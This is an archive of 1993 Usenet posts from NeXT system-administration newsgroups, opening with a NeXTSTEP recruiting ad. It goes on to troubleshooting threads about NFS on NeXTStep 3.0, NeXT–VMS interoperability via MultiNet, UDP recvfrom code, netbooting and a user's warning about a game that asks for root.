* Strong NeXTSTEP, AppKit, Interface Builder
* High level design, rapid prototyping
* Ability to work in a dynamic team environment
* Strong Objective-C or C++
* 5 to 8 years experience
WEST
1 - Senior Database Specialist
* 5+ years database design and database applications
development (ORACLE preferred)
* 3 years UNIX application development
* 2 years RDBMS experience using an SQL-based RDBMS
* 2+ year NeXTSTEP applications
* AppKit, DBKit, NeXTSTEP 3.0, OOD, Objective-C
MIDWEST
1 - Senior Systems Engineer
* Provide NeXT applications development and support
* Project Management/Project Lead experience
* Very strong interpersonal skills, technical marketing
experience a plus
* Technology transfer of OOD, OOP methodologies
* NeXTSTEP, Appkit, DBKit, Objective-C or C++
* 6 to 10 years experience
1 - Senior Applications Development Engineer
* 5-7 years UNIX/C applications development
* Financial applications (Equity Trading Systems
in particular)
* 1+ years NeXT/NeXTSTEP/AppKit/ DBKit/Objective-C
* Sun, SYBASE/C++ a plus
4 - Software Engineers
* NeXT/UNIX application software development
* Strong NeXTSTEP, AppKit, Interface Builder
* High level design, rapid prototyping in NeXT environment
* Strong Objective-C or C++
* 2 to 5 years experience
CANADA
2 - NeXT Contract Engineers
* Strong NeXTSTEP applications development
* Strong UNIX, Objective-C, C++
* AppKit, Interface Builder, DBKit required
* Strong RDBMS
* Transfer of NeXT technology
* Software training or teaching experience
* 6 to 10 years experience
Sorry, these positions require permanent residence and
2+ years industry experience..Thank you for your understanding...
More positions available soon!!
For more information, contact:
Clint Tomlinson
Manager, NeXT Recruiting
Pencom Software
9050 Capital of Texas Highway North
Austin, Texas 78759
Telephone: 512-343-1111
Fax: 512/346-6444
E-Mail: clint@pencom.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
From: collis@lele-next2.Stanford.EDU (Samuel Scott Collis)
Subject: NFS mounts in NeXTStep 3.0 (they suck?)
Message-ID: <1993Feb4.222843.25990@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Thu, 4 Feb 93 22:28:43 GMT
Help....
We have experienced problems NFS mounting NeXT's running NS 3.0 on a SGI
personal Iris. We have several NeXT's still running 2.0 and their mounts
work fine. However, the mounts for the NS 3.0 computers are unreliable,
sometimes they work, sometimes they don't. Has anyone else had problems
with NFS on 3.0? What is really interesting is that mounting NeXT to NeXT
seems to allways work, regardless of the version of NeXTStep.
I would really appreciate any help on this problem. It is severly
troublesome!
Thanks,
Scott
--
Scott Collis
Department of Mechanical Engineering
Stanford University
collis@lele-next2.stanford.edu
(415) 725-3318
From: root@scarolina.cerfnet.com (Operator)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: rarpd for the neXT
Date: 4 Feb 1993 23:10:31 GMT
Organization: CERFnet
Message-ID: <1ks7p7INN37q@news.cerf.net>
Keywords: rarpd, ethernet
Hello,
Have any of you gotten rarpd working on the NeXT?
If so, can you tell me where you got it, and how
you got it working. I am trying to set up diskless
sun3/50 as an Xterminal for my next (a cheap way of getting
another working place) and it requires rarpd, from what
I can see. Any help would be greatly appreciated. Please
respond to
fasano@scarolina.cerfnet.com
Thanks,
Chris Fasano
Francis Marion Univ.
Newsgroups: comp.sys.next.sysadmin
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Subject: Re: Using NeXT's and VAX/VMS systems
Message-ID: <d#13hj#@rpi.edu>
References: <z7r3cdb@rpi.edu>
Date: Fri, 5 Feb 1993 00:12:17 GMT
Back on January 28th I made a request for info on using NeXT with VAX/VMS
systems. I promised a summary of the answers I got, and here it is. I'd
like to thank everyone for the answers given, they were very helpful to the
prospective NeXT buyer who had asked me for information.
The brief summary seems unanimous:
It's quite workable, and use MultiNet on the VAX/VMS side.
---
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
- - - - -[message 1:]
Date: Thu, 28 Jan 93 20:18:49 PST
From: eps@toaster.sfsu.edu (Eric P. Scott)
Organization: San Francisco State University
Reply-To: eps@cs.sfsu.edu
In article <z7r3cdb@rpi.edu> you write:
gad> A local user is thinking of buying some NeXT's to augment
gad> the work they already do on some Vax's running VMS. Most
gad> of the data they have is currently on the VMS systems,
gad> and he was wondering how easy it is for NeXT's and VMS
gad> systems to share data. Does VMS support NFS, for instance?
VMS does not support TCP/IP "out of the box." There are several
options here, but the best of the lot is generally regarded to
be TGV MultiNet. The "worst" of the lot (surprise!) is DEC's
own UCX. Unfortunately, a number of universities got UCX "for
free" under DEC's CSLG program, and feel they don't need to
spend money on a commercial product. UCX is a piece of sh*t.
Disclaimer: I am loosely affiliated with TGV
gad> Are the line-ending characters the same in VMS as they
gad> are in Unix/NeXT land?
VMS has an extra layer between the operating system and user
software. It's called RMS, and makes files a little more
"interesting" than just having a linear stream of bytes. It is
POSSIBLE for a text file to be a "Stream_LF" file, in which
case its on-disk (binary) representation is EXACTLY the same as
what it would be on a UNIX system. It's also possible for the same
text file to be represented as a "VAR CR" file, in which case each
line is preceded by a two-byte count, odd-length lines are padded
to even byte boundaries, and the "newline" is implicit. If you
plan on using NFS, it's a good idea to convert shared VAR CR
files to Stream_LF files.
gad> He asked me, and since I have never worked with a VMS system
gad> I figured I'd ask the net. For anyone who is using NeXT's
gad> with VMS systems, how well do they work together?
Well enough. You'll get warnings if you tell a DECwindows
application to display on a NeXT running co-Xist (mainly due to
DEC font strangenesses). Other than that, I really can't think
of any surprises.
-=EPS=-
- - - - -[message 2:]
Date: Fri, 29 Jan 93 13:38:45 -0600
From: gbb@woz.mayo.edu
Reply-To: brunkhorst@mayo.edu
In comp.sys.next.sysadmin article <z7r3cdb@rpi.edu> you wrote:
gad> A local user is thinking of buying some NeXT's to augment
gad> the work they already do on some Vax's running VMS. Most
gad> of the data they have is currently on the VMS systems,
gad> and he was wondering how easy it is for NeXT's and VMS
gad> systems to share data. Does VMS support NFS, for instance?
gad> Are the line-ending characters the same in VMS as they
gad> are in Unix/NeXT land?
I live in a VMS/Sun/NeXT world, and we use TGVs Multinet to make
the systems stick together. VMS does not directly support NFS,
but under Multinet, it works pretty well. The major diffs are
that VMS's RMS/ODS-II file system is much richer in terms of
record formats at the file system level (ISAM, relative access,
record formatting issues, more levels of access control), but
VMS has some limitations as to how file names are formed (case
insensitive, a rigid context in terms of punctuation, 79
characters per name, and then you have verions).
Another difference is that VMS UICs and Unix UIDs don't map
well. In a well-coordinated environment you can do a decent job
as working out the problems, but some VMS sysadmins won't give
unix the time of day (Luckily, I'm the VMS system manager...;-)
Multinet does a good job as a NFS client and as a server. We
use an Epoch Virtual File Storage server as a central NFS
server, and Multinet mounts it up fine.
Most of the time, the line ending characters are properly
remapped, but the major problem is usually with VMS limitation
in record lengths (65535). There are several system and PD
tools on the VMS side to 'fix' this sort of thing, but it can
be a pain.
Of course, there are hundreds of other nits between the two, but
most are livable. I prefer VMS as a OS, but who am I to say...
I like TECO as a editor.
- Geoff
-----------------------------------------------------------------
Geoffrey Brunkhorst brunkhorst@Mayo.edu
Research Computing Facility, Guggenheim 10 (507) 284-1805
Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
- - - - -[message 3:]
Date: Fri, 29 Jan 93 17:06:23 -0600
From: Allyn Tennant <tennant@alph.msfc.nasa.gov>
In comp.sys.next.sysadmin article <z7r3cdb@rpi.edu> you wrote:
gad> Does VMS support NFS, for instance?
I suggest you get the MultiNet software for the VAX. MultiNet is
a third party product and works great. We have it on our VAX, and
NFS mount the VAX disks on our NeXT systems. Thus you can point
and click your way around the VAX file system. There are two
minor problems,
1) you cannot see version numbers from the NeXT, thus the only
files you can access are those with the highest version number.
For example if you use the NeXT to delete a VMS file, and a lower
version number exists, then the file appears not to delete
because the lower version number becomes visible.
Minor problem 2) concerns case. Multinet simulates lowercase
on the VAX by putting $ `escape' sequences into the file name.
thus if the NeXT shows a name of File, on VMS it will be $F$ILE.
Both problems are easy to deal with. You can also mount the NeXT
disks on the VAX. Although we don't do this, we do have some SUN
disks mounted on the VAX. Version numbers magically work when
VMS access the SUN disks.
gad> Are the line-ending characters the same in VMS as they
gad> are in Unix/NeXT land?
VMS has no problem with the different line ending characters.
Thus files created on the NeXT side will have a Stream_LF
format, whereas files created on the VAX side have carriage
return format. RMS magically reads both with no problems, so
most users never know there is a difference. Really shows the
power of VMS.
gad> For anyone who is using NeXT's with VMS systems, how well
gad> do they work together?
We are very happy with the way MultiNet and the NeXT work.You
can drop a NeXT binary onto the VAX disk, and then run it on the
NeXT by double clicking. I've even run DECWindows, displaying
onto my NeXT, using a 3rd party X window package on the NeXT of
course. With the right software, everything just works.
Allyn
- - - - -[message 4:]
From: harit@kripalu.com
Subject: Re: Using NeXT's and VAX/VMS systems
Reply-To: harit@kripalu.com
Organization: Kripalu Center
Date: Sat, 30 Jan 93 13:45:17 GMT
If you get the MULTINET product from TGV you get TCP/IP, NFS
server, and NFS client for VMS. This lets you cross mount disks
and share files. We have our VMS accounting system generate
reports to text files that are automatically copied to the NeXT
disk and then loaded into Sybase on the NeXT. Then we use the
great NeXT tools to access the database. It all just works.
--
Michael Allen Latta
Kripalu Center
harit@kripalu.com
(413)448-3288
- - - - -[message 5:]
From: lfahnoe@kegworks.mn.org (Larry Fahnoe)
Subject: Re: Using NeXT's and VAX/VMS systems
Organization: The Kegworks, Minneapolis, Minnesota
Date: Sat, 30 Jan 1993 17:50:37 GMT
No, stock VMS does not support NFS. You would need to add it
via either TGV's MultiNet (first choice) or Digital's Ultrix
Connection (a good choice if your site happens to have access to
the Campus-wide Software License Grant Program). There may be
other packages that offer NFS support for VMS.
No, the line ending characters are not necessarily the same.
RMS (the set of system services on VMS that support files) has
a great deal more information stored in the file and its
assoicated header about both the file and record formats. On a
VMS system the closest thing to a UNIX file would be a file with
Stream-LF (a character stream delimited by linefeeds) format. I
expect that the above products both support some form of file
conversion; I know that Digital's does. If your user's data is
stored in RMS relative or indexed files, expect to convert them
to flat files first; the VMS Convert utility will do this nicely.
With a little creativity and patience, you can share data with a
VMS system, and your user can have the best of both worlds.
--
Larry Fahnoe Cellular One
612/832-7616 7900 S. Xerxes Ave, Suite 301
lfahnoe@kegworks.mn.org Minneapolis, MN 55431
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
From: cmumford@iat.holonet.net (Chris Mumford)
Subject: Re: NFS mounts in NeXTStep 3.0 (they suck?)
Message-ID: <C1y9vw.HJr@iat.holonet.net>
Organization: HoloNet National Internet Access BBS: 510-704-1058/modem
References: <1993Feb4.222843.25990@leland.Stanford.EDU>
Date: Fri, 5 Feb 1993 00:40:43 GMT
I'm using a NeXTStation (3.0) to do a mount in the opposite direction with
an SGI -- mount a published NFS volume from the SGI to the NeXT, and
haven't had any major problems.
I say major, because it works, but NFS support definately has problems
with it.
Newsgroups: comp.sys.next.sysadmin
From: Gregory W. Gee <gee@gaul.csd.uwo.ca>
Subject: finger information?
Organization: Relayed-by-Sendmail
Date: Fri, 5 Feb 1993 00:48:52 GMT
Message-ID: <9302050048.AA08643@gaul.csd.uwo.ca>
To: comp.sys.next.sysadmin@newshost.uwo.ca
Sender: reggers@julian.uwo.ca (Reg Quinton)
I was just wondering how you get information into your finger
display. We used to have a command on the system to do this
but was recently taken off. Any help on these command line functions
wuld be greatly appreciated.
^o bad o key.
Please respond by mail if possible.
****************************************************************************
Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted
Honours Computer Science, University of Western Ontario
>>> Developing in the NeXT generation <<<
****************************************************************************
Newsgroups: comp.sys.next.sysadmin
From: Christian.Andretzky@TU-Chemnitz.DE (Christian Andretzky)
Subject: Re: NFS mounts in NeXTStep 3.0 (they suck?)
Message-ID: <1993Feb5.005213.10817@mb3.tu-chemnitz.de>
Sender: inews@mb3.tu-chemnitz.de (Internet news)
Organization: University of Technology Chemnitz, FRG
References: <1993Feb4.222843.25990@leland.Stanford.EDU>
Date: Fri, 5 Feb 1993 00:52:13 GMT
In article <1993Feb4.222843.25990@leland.Stanford.EDU>
collis@lele-next2.Stanford.EDU (Samuel Scott Collis) writes:
> Help....
>
> We have experienced problems NFS mounting NeXT's running NS 3.0 on a SGI
> personal Iris. We have several NeXT's still running 2.0 and their mounts
> work fine. However, the mounts for the NS 3.0 computers are unreliable,
> sometimes they work, sometimes they don't. Has anyone else had problems
> with NFS on 3.0? What is really interesting is that mounting NeXT to NeXT
> seems to allways work, regardless of the version of NeXTStep.
>
> I would really appreciate any help on this problem. It is severly
> troublesome!
>
We have various big NFS problems too. I can't say if there are differences
between NS 2 and NS 3 because all our NeXTs are running NS 3. What I could see
is exporting parts of the root filesystem (the internal disk) works for us with
no problems. The trouble begins if I try to export parts from my external disk.
Especially if I try to export the home dirs (located on the first partition of
the external disk) I'm running into big problems. The home directories could be
mounted and used on the other machines with no problems if I don't use access
restrictions (exporting the directories with public access worldwide) If I deny
the public access so that only the machines which are listed explicitly for ro,
rw or root access can mount the exported directory I get authentication errors
(weak authentication) for this machines (no matter if the importing machine is
a NeXT running 3.0 or some other (Sun, HP))
But I think granting public access could really not be the solution (except the
abbreviation NFS stands really for No File Security ;-)
Another problem with NFS I can see if I try to export parts of the second
partition of the external disk. The whole partition is exported with public ro
access because it is a part of our ftp-server. From time to time I get the
following error messages from our ftp-server(s) which have mounted the exported
disk
Feb 4 05:30:16 steve mach: nfs_server: bad sendreply from xx.xx.xx.xx
Feb 4 05:32:12 steve mach: svckudp_send: xdr_replymsg failed
and the access from the remote machine is impossible for a indefinite time.
Sorry I don't have a solution for all these NFS problems. I think it's time for
some bug-fixes for the NS 3 implementation of NFS.
Cheers, Christian
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From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Re: Problems with recvfrom(2)
Date: 5 Feb 1993 04:09:09 GMT
Organization: The University of Maryland, College Park
Message-ID: <1ksp95INN573@ni.umd.edu>
References: <1993Feb4.091953.21794@udel.edu>
Keywords: recvfrom, UDP
In article <1993Feb4.091953.21794@udel.edu> stark@superc.che.udel.edu writes:
>
>Has anyone had experience using the recvfrom(2) call using
>a UDP protocol? I can not get an example program from Stevens
>"UNIX Network Programming" book to work because the recvfrom
>call fails. The error message is bad address. The example works
>fine on an RS6000 and Sun4.
Yes, it works fine. Here is a paraphrased sample of code that I use. The
function is called when select() indicates that the 'sock' file descriptor
is ready for reading.
int
udp_sock_receive(int sock)
{
char buf[1024];
int len;
struct sockaddr_in from;
int fromlen = sizeof(from);
len = recvfrom(sock, buf, sizeof(buf), 0,
(struct sockaddr *)&from, &fromlen);
if (len < 0) {
syslog(LOG_DEBUG, "recvfrom: %m");
return -1;
}
if (process_the_buffer(&buf, &len, sizeof(buf)) > 0)
if (sendto(sock, buf, len, 0, (struct sockaddr *)&from, fromlen) < 0)
syslog(LOG_DEBUG, "sendto: %m");
return 0;
}
I took a quick look in my Stevens book, but didn't find the example in
question. Could you be more specific? If you are getting a "Bad
Address" error, could it be that your passing a bad buffer for
sockaddr_in pointer to recvfrom() ?
louie
From: maurices@spock.dis.cccd.edu (Maurice Shihadi)
Newsgroups: comp.sys.next.sysadmin
Subject: Terminal Emulation for an HP9000/817s?
Date: 4 Feb 1993 22:45:52 -0800
Organization: Coast Community College District, Costa Mesa, CA
Distribution: world
Message-ID: <1kt2f0INNjuj@spock.dis.cccd.edu>
Hi,
I wish to dial into my site to read and send mail and have a
Dove/Fax 2400 baud modem. Kermit is driving me crazy with all
the extra characters and all. Is there a public domain package out
there that will set everything automatically and return things
back to their original state when I log out and switch my
modem back to "private" for faxing? We use trn, trrn and
elm on our HP and I'd like to have the same flexibility on the
NeXTstation. I can't remember off hand the terminal spec but
any advice would be helpfull. Also, access to ttya in NS 3.0
isn't happening. Does one still have to manually change
the baud rate when using 9600 and 2400 on the same port?
maurices
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From: rainer@ruble.fml.tuwien.ac.at (Rainer Staringer)
Subject: University NeXT labs?
Message-ID: <1993Feb5.121325.7565@email.tuwien.ac.at>
Sender: news@email.tuwien.ac.at
Organization: Technical University of Vienna
Date: Fri, 5 Feb 1993 12:13:25 GMT
A question to all university NeXT users out there:
Our university department runs a 2-term course in which teams of
CS students learn the principles of software engineering by doing
a medium sized software project together (the whole life-cycle:
designing, implementing, testing, ...).
We have been using PCs till now, but are planning to change to
a UNIX lab and to introduce the students to a modern software
engineering environment.
We are now in the planning phase for a UNIX lab with ~ 60 seats
that will be used mainly for software development and documentation.
Most probably the lab will consist of 4 servers with 16 client
workstations (PCs or X-terminals) each. We are presently considering
Sun SS 10-30 workstations (128MB RAM, 3GB disk) as servers. Because
the funds for the clients and the servers come from two different
sources the clients have to be as cheap as possible (small disks, ...),
so we will have to make heavy use of NFS.
We are considering NeXTstep (most probably NS486 on PC hardware)
for the client workstations, because of its powerful development
environment, which some of us already know and like. Others don't
know it yet, so we are also searching for good arguments in favor
of NeXTstep. :-)
Are there any existing NeXT labs at other universities which are
used for similar purposes?
We would be very interested in any advice or experiences you have to
share: What servers and network topology do you use, how difficult is
administration (security problems, ...), what course notes
do you use in teaching NeXTstep programming, ...?
Thanks in advance for any help!
--
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Financial Markets Lab, TU Vienna | +43 (1) 58801/8138
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From: chris@iesd.auc.dk (Christian Callsen)
Subject: Simple question about Host-setup!
Message-ID: <CHRIS.93Feb5161526@born.iesd.auc.dk>
Sender: news@iesd.auc.dk (UseNet News)
Organization: Mathematics and Computer Science, Aalborg University
Distribution: comp
Date: 5 Feb 93 16:15:26
I am setting my machine up as a standalone un-connected NeXT with the
name ('imladris') using the "local" menu-entry in HostManager. That
seems to be working.
My problem is the following: '/usr/etc/ping imladris' responds with:
"unknown host: imladris"
Likewise, 'Emacs' reports the same problem: "unknown host: imladris"
However, 'hostname' responds with "imladris".
Does anyone have a clue about what I am doing wrong here? Am I missing
something? (and if you know, could you please tell me.. :^>)
Chris
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From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.sun.admin
Subject: Names of child processes
Keywords: child process fork
Message-ID: <7564@ucsbcsl.ucsb.edu>
Date: 2 Feb 93 23:57:57 GMT
Sender: root@ucsbcsl.ucsb.edu
Followup-To: comp.sys.next.programmer
Organization: Center for Computer Music Research and Composition, UCSB
If a process is started via a shell or exec() with a set of arguments or
flags, and then that process forks to produce several child processes, all of
which continue to run, what should be the expected name of the child
processes, according to "ps xw"? Should the child processes' names include
the argument list as well?
I ask this because I am getting inconsistant results. Sometimes a 'ps xw'
shows the parent process, with all of its flags, etc., and the children are
shown with the same flags attached. Other times the children have no
arguments at all-just the name of the program.
This is important to me because the program I am updating expects to find a
certain argument string as part of the process name for *all* the child
processes, and this is not happening consistantly.
Please respond via email, if possible.
Thanks in advance.
--
Douglas Scott (805)893-8352
Center for Computer Music Research and Composition
University of California, Santa Barbara
Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NFS mounts in NeXTStep 3.0 (they suck?)
Date: 5 Feb 1993 15:38:11 GMT
Organization: University of Houston
Message-ID: <1ku1l3INNce2@menudo.uh.edu>
References: <1993Feb5.005213.10817@mb3.tu-chemnitz.de>
In article <1993Feb5.005213.10817@mb3.tu-chemnitz.de>
Christian.Andretzky@TU-Chemnitz.DE (Christian Andretzky) writes:
#In article <1993Feb4.222843.25990@leland.Stanford.EDU>
#collis@lele-next2.Stanford.EDU (Samuel Scott Collis) writes:
#> Help....
#>
#> We have experienced problems NFS mounting NeXT's running NS 3.0 on a
SGI
#> personal Iris. We have several NeXT's still running 2.0 and their
mounts
#> work fine. However, the mounts for the NS 3.0 computers are
unreliable,
#> sometimes they work, sometimes they don't. Has anyone else had
problems
#> with NFS on 3.0? What is really interesting is that mounting NeXT to
NeXT
#> seems to allways work, regardless of the version of NeXTStep.
#>
#> I would really appreciate any help on this problem. It is severly
#> troublesome!
#>
#We have various big NFS problems too. I can't say if there are
differences
#between NS 2 and NS 3 because all our NeXTs are running NS 3. What I
could see
#is exporting parts of the root filesystem (the internal disk) works for
us with
#no problems. The trouble begins if I try to export parts from my external
disk.
#Especially if I try to export the home dirs (located on the first
partition of
#the external disk) I'm running into big problems. The home directories
could be
#mounted and used on the other machines with no problems if I don't use
access
#restrictions (exporting the directories with public access worldwide) If
I deny
#the public access so that only the machines which are listed explicitly
for ro,
#rw or root access can mount the exported directory I get authentication
errors
#(weak authentication) for this machines (no matter if the importing
machine is
#a NeXT running 3.0 or some other (Sun, HP))
#But I think granting public access could really not be the solution
(except the
#abbreviation NFS stands really for No File Security ;-)
#Another problem with NFS I can see if I try to export parts of the second
#partition of the external disk. The whole partition is exported with
public ro
#access because it is a part of our ftp-server. From time to time I get
the
#following error messages from our ftp-server(s) which have mounted the
exported
#disk
#Feb 4 05:30:16 steve mach: nfs_server: bad sendreply from xx.xx.xx.xx
#Feb 4 05:32:12 steve mach: svckudp_send: xdr_replymsg failed
#and the access from the remote machine is impossible for a indefinite
time.
#
#Sorry I don't have a solution for all these NFS problems. I think it's
time for
#some bug-fixes for the NS 3 implementation of NFS.
#
#Cheers, Christian
#
#--
#Name: Christian Andretzky | Address: Technische Universitaet
Chemnitz |
#Phone: +49 371 561 2130 | Fachbereich Maschinenbau III
|
#FAX: +49 371 561 2413 | Reichenhainer Str. 70
|
#mail: Christian.Andretzky@TU-Chemnitz.DE D-O-9022 Chemnitz
|
When you have these problems do a "ps -aux | grep lookupd" and see what
lookupd is doing. There seems to be a problem with the way NeXT does
Netgroups which is/can be used for NFS mounting (ie. access=group1:group2
vs access=host1:host2:host3:...:hostn). If lookupd is sucking cpu (more
than 8%) then you have inconsistant netgroups in your NetInfo database.
Make sure all machines belong to a group if you use netgroups.
One common symptom of inconsistant netgroups in NetInfo is the following:
RPC: Timed out (especially when mounting remount filesystems)...
--
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The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
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From: rprice@cbnewsg.cb.att.com (rodney.price)
Subject: users on external disk
Message-ID: <1993Feb5.192845.16640@cbfsb.cb.att.com>
Keywords: users on external disk
Sender: news@cbfsb.cb.att.com
Organization: AT&T
Date: Fri, 5 Feb 1993 19:28:45 GMT
I've recently bought an external SCSI drive for my mono slab,
while keeping the internal 200 MB drive intact. I connected
the external drive and powered it up, had the Workspace initialize
it (I'm using NextStep 2.1), and everything worked fine. Now
I'd like to move my user accounts over to the new disk, but I
find some odd behavior when I do so.
I started with the "me" account by using UserManager to remove
the old "me" account, then copy the files over to the external
disk, then create a new "me" account with the new home directory
as "/external/me." I get the account as expected, but now the
external disk icon changes to the one for a removable hard drive,
and I can't use the recycler in the "me" account. When I drag
something to the recycler, I get an alert panel telling me that
my file will be destroyed immediately.
Before trying this I tried changing the home directory entry in
UserManager, then copying over the files to the new home directory,
but this never "took." Everytime I logged onto the "me" account,
I found myself in the directory on the old disk.
I'm about to the point of simply putting in a link from my old
home directory to the external disk, but I'd really rather do it
right.
Any ideas?
Thanks,
Rod Price
rprice@physics.att.com
From: woneill@cronkite.ocis.temple.edu (Bill O'Neill)
Newsgroups: comp.sys.next.sysadmin
Subject: Netbooting NeXT no longer works
Message-ID: <1993Feb5.200947.22691@cronkite.ocis.temple.edu>
Date: 5 Feb 93 20:09:47 GMT
Organization: Temple University
We have a NeXTstation that had been booting off of a NeXTCube without any
problems until recently. Now, upon starting up the NetBoot client machine
it can determine it's hostname and domainname then I get the error message:
NFS write error 30 on host
followed by the NeXTBoot hostname and strings of what look like hex numbers.
I checked to see the settings for NFS mounting hadn't changed so I'm at a loss.
Anyone have ideas as to how to correct the NFS error so it can boot?
--
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Temple University woneill@picasso.ocis.temple.edu
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From: roland@kocher.cube.de (Roland Kocher)
Subject: Re: Fonts on Mac HD: How to easily access under 3.0?
Message-ID: <1993Feb3.235632.354@kocher.cube.de>
Sender: roland@kocher.cube.de
Organization: Kocher Software-Entwicklung
References: <1993Feb1.232947.15429@galileo.cc.rochester.edu>
Date: Wed, 3 Feb 1993 23:56:32 GMT
In article <1993Feb1.232947.15429@galileo.cc.rochester.edu>
jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes:
> I have a 20 meg Hard Drive filled with fonts and their respective AFM files.
> The HD has been formatted as a Mac HD, and I got the fonts from my Mac. I'd
> like to access the fonts and put them into my Station, but the first step is
> to get them all of the HD and into my NeXT. I can see the filenames, and I
> can actually view the data within the files using Edit and specifying
> "fontname.#rsrc#" to load them. However: I can't view that very same data
> from a terminal window by typing "cat fontname.#rsrc#"
>
> Is there a trick in 3.0 that lets me access the invisible fork on Mac files
> more easily than what I'm doing?
>
> Is there a manual on how to do this? For instance, where did that first
> person find the method of adding ".#rsrc#" to filenames? I suppose it's in
> the on-line manuals, but I can't find it. It seems fairly silly to let one
> mount Mac HDs and then not be able to access the data on them. BTW: Does
> the program "mfrc" works under 3.0? Does it work at all? It says that it
> will convert Mac fonts to NeXT, and I'm sincerely hoping that it still
> works.
>
> --
> John Todd | University of Rochester, Rochester NY USA Earth Milky Way
> CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo
> Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused
> jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
If you want to convert Mac-Fonts directly, you have to use MagicType. You can
get MagicType from Nextpoint, Germany.
eMail:info@nextpoint.de
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From: rane+@cs.cmu.edu (Aaron Hughes)
Newsgroups: comp.sys.next.sysadmin
Subject: Help- bogus upgrade to 3.0
Message-ID: <C1zyIH.MMp.2@cs.cmu.edu>
Date: 5 Feb 93 22:30:12 GMT
Article-I.D.: cs.C1zyIH.MMp.2
Sender: news@cs.cmu.edu (Usenet News System)
Organization: School of Computer Science, Carnegie Mellon
Hello - I upgraded a slab to 3.0 today and everything
went fine until it asked me which laguage I wanted
to use, so I clicked english and nothing happened - the
panel disappears for a minute or so and then reappears -
this happens no matter what I do - rebooting, powering
of etc - it keeps coming back to the -panel.
Suggestions?
thanks,
Aaron
--
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rane+@pulsar.fac.cs.cmu.edu Bad cop. No donut.
From: sritchie@cs.ubc.ca (Stuart Ritchie)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
Subject: Re: Binaries which would like to be run as root
Date: 5 Feb 1993 18:04:15 -0800
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <1kv6avINNjn7@stephen.cs.ubc.ca>
References: <1993Feb5.235524.21620@blaze.cs.jhu.edu>
In article <1993Feb5.235524.21620@blaze.cs.jhu.edu> swiet@poincare.cs.jhu.edu (Alexander Swietlicki) writes:
[about running the game Oxyd as root]
>
> Beware!
>
> Alex
Yes, beware of Oxyd! You will get *no work done* until you complete
the 10 levels. Trust me. By then, you'll be so hopelessly addicted
that sending $42 for the book is no problemo.
Great game BTW. Probably the best on NS right now. Of course now
that NeXT engineers are busy writing games (XoX), this picture
could change :-)
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From: swiet@poincare.cs.jhu.edu (Alexander Swietlicki)
Subject: Binaries which would like to be run as root
Message-ID: <1993Feb5.235524.21620@blaze.cs.jhu.edu>
Sender: news@blaze.cs.jhu.edu (Usenet news system)
Organization: Johns Hopkins Computer Science Department, Baltimore, MD
Date: Fri, 5 Feb 1993 23:55:24 GMT
Has anyone taken a look at "OxydGame" from the submissions
directory at nova.cc.purdue.edu? Try to launch the app, and it says
it must be run once as root. Take a look at the Readme, and it says
to either log in as root and run it, or change it to suid root. The
sources are no where to be found. I dare not follow these instructions!
Beware!
Alex
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From: knudsens@newton.ccs.tuns.ca (Steven K Knudsen)
Subject: Accessing a printer connected to a Quadra under A/UX 3.0
Message-ID: <1993Feb5.214508.6250@newton.ccs.tuns.ca>
Date: Fri, 5 Feb 1993 21:45:08 GMT
Distribution: na
Organization: Technical University of Nova Scotia, Halifax, N.S.
Hello,
I am trying to find a way to print files from my NeXTstations to a
Laserwriter hooked up to my Quadra running A/UX 3.0. I have looked
at the NeXTStep AppleTalk package, but it is my understanding
that it expects to be connected to a Mac running EtherTalk and
acting as an AppleShare/Server machine (perhaps I'm mistaken) or
that is connected to an AppleTalk network. A Mac under A/UX is not
allowed to be an AppleShare server. If I tell the Mac to use EtherTalk,
I can no longer choose the printer from the Chooser and it doesn't
show up when I issue the A/UX command atlookup (AppleTalk lookup).
THe Mac is running TCP/IP and NFS, and they seem alright (e.g., I can
remotely mount a file system on the NeXT or on a Sparc.
I have looked at CAP (Columbia AppleTalk Package) but it seems to require
a certain hardware box to do the routing. (?)
Is there anyway that I can get the NeXT to use the mac printer?
Please e-mail responses and I'll summarize if people are interested.
--
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TUNS | man is dressed in white clothes.
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knudsens@tuns.ca | Nobody knows the things that he knows.
From: bmwu@athena.mit.edu (Benson M. Wu)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Help format HP 1.2 Gig HD
Date: 6 Feb 1993 02:27:43 GMT
Organization: Massachusetts Institute of Technology
Distribution: na
Message-ID: <1kv7mvINN8sn@senator-bedfellow.MIT.EDU>
Keywords: HP C2247 3.5" HD, NeXTStep 3.0
I am running NeXTStep 2.1 on a 68040 Cube with 24 megs
of RAM and a Fujitsu 660 meg HD. I just received my NeXTStep
3.0 CD-ROM drive and disk. I also got an 3.5" 1.2 GIG HP C2247
(half-height) HD.
The HP HD is an internal one. I plan to get a case
to convert it into an external one and then format it so that
I can put NeXTStep 3.0 on it without disturbing the NeXTStep 2.1
system on my internal Fujitsu HD.
My questions are:
1. Is this possible? Has anyone formatted and built
NeXTStep 3.0 on an external HD? Is there any
caveat?
